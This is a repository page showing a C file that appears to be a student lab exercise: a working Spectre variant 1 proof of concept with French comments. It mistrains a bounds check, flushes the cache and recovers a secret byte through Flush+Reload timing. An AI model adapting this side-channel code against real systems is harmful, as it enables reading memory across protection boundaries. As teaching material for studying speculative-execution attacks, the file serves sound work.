Skip to content
Snippets Groups Projects
Forked from SR07 / td_spectre
17 commits behind the upstream repository.
spectreattackimproved.c 2.33 KiB
#include <emmintrin.h>
#include <x86intrin.h>
#include <stdio.h>
#include <stdint.h>

#define CACHE_HIT_THRESHOLD (145)
#define DELTA 1024

unsigned int buffer_size = 10;
uint8_t buffer[10] = {0, 1, 2, 3, 4, 5, 6, 7, 8, 9};
uint8_t temp = 0;
char *secret = "Some Secret Value";

uint8_t array[256 * 4096];

// Partie 'FLUSH'
void flushSideChannel()
{
    int i;
    // Ecrire dans le tableau pour forcer l'allocation en RAM (allocation copy-on-write)
    for (i = 0; i < 256; i++)
        array[i * 4096 + DELTA] = 1;

    // Supprimer le tableau du cache
    for (i = 0; i < 256; i++)
        _mm_clflush(&array[i * 4096 + DELTA]);
}

// RELOAD
static int scores[256];
void reloadSideChannelImproved()
{
    int i;
    volatile uint8_t *addr;
    register uint64_t time1, time2;
    int junk = 0;
    for (i = 1; i < 256; i++) {
        addr = &array[i * 4096 + DELTA];
        time1 = __rdtscp(&junk);
        junk = *addr;
        time2 = __rdtscp(&junk) - time1;
        if (time2 <= CACHE_HIT_THRESHOLD) {
            scores[i]++; /* Si succès de cache, incrémenter le score pour cette valeur */
	    }
    }
}

// fonction sandbox
uint8_t restrictedAccess(size_t x)
{
    if (x < buffer_size) {
        return buffer[x];
    } else {
        return 0;
    }
}

void spectreAttack(size_t larger_x)
{
    int i;
    uint8_t s;

    // Forcer le cpu à prédire le branchement qui permet l'accès à buffer dans restrictedAccess
    for (i = 0; i < 10; i++) {
        restrictedAccess(i);
    }

    // Vider le cache
    _mm_clflush(&buffer_size);
    for (i = 0; i < 256; i++)
    {
        _mm_clflush(&array[i * 4096 + DELTA]);
    }
    
    // Demander à restrictedAccess de retourner le secret 
    s = restrictedAccess(larger_x);
	array[s * 4096 + DELTA] += 88;
}

int main()
{
    int i;
    uint8_t s;
    size_t larger_x = (size_t)(secret - (char *)buffer);
    flushSideChannel();
    
    for (i = 0; i < 256; i++) {
        scores[i] = 0;
    }

	for (i = 0; i < 1000; i++) {
	    flushSideChannel();
	    spectreAttack(larger_x);
	    reloadSideChannelImproved();
	}
	    
    int max = 0;
	for (i = 0; i < 256; i++) {
	    if (scores[max] < scores[i])
	         max = i;
	}

    printf("Lecture du secret à l'adresse %p = ", (void *)larger_x);
    printf("Secret : %d\n", max);
    printf("Le nombre de succès de cache est %ld\n", scores[max]);
    return (0);
}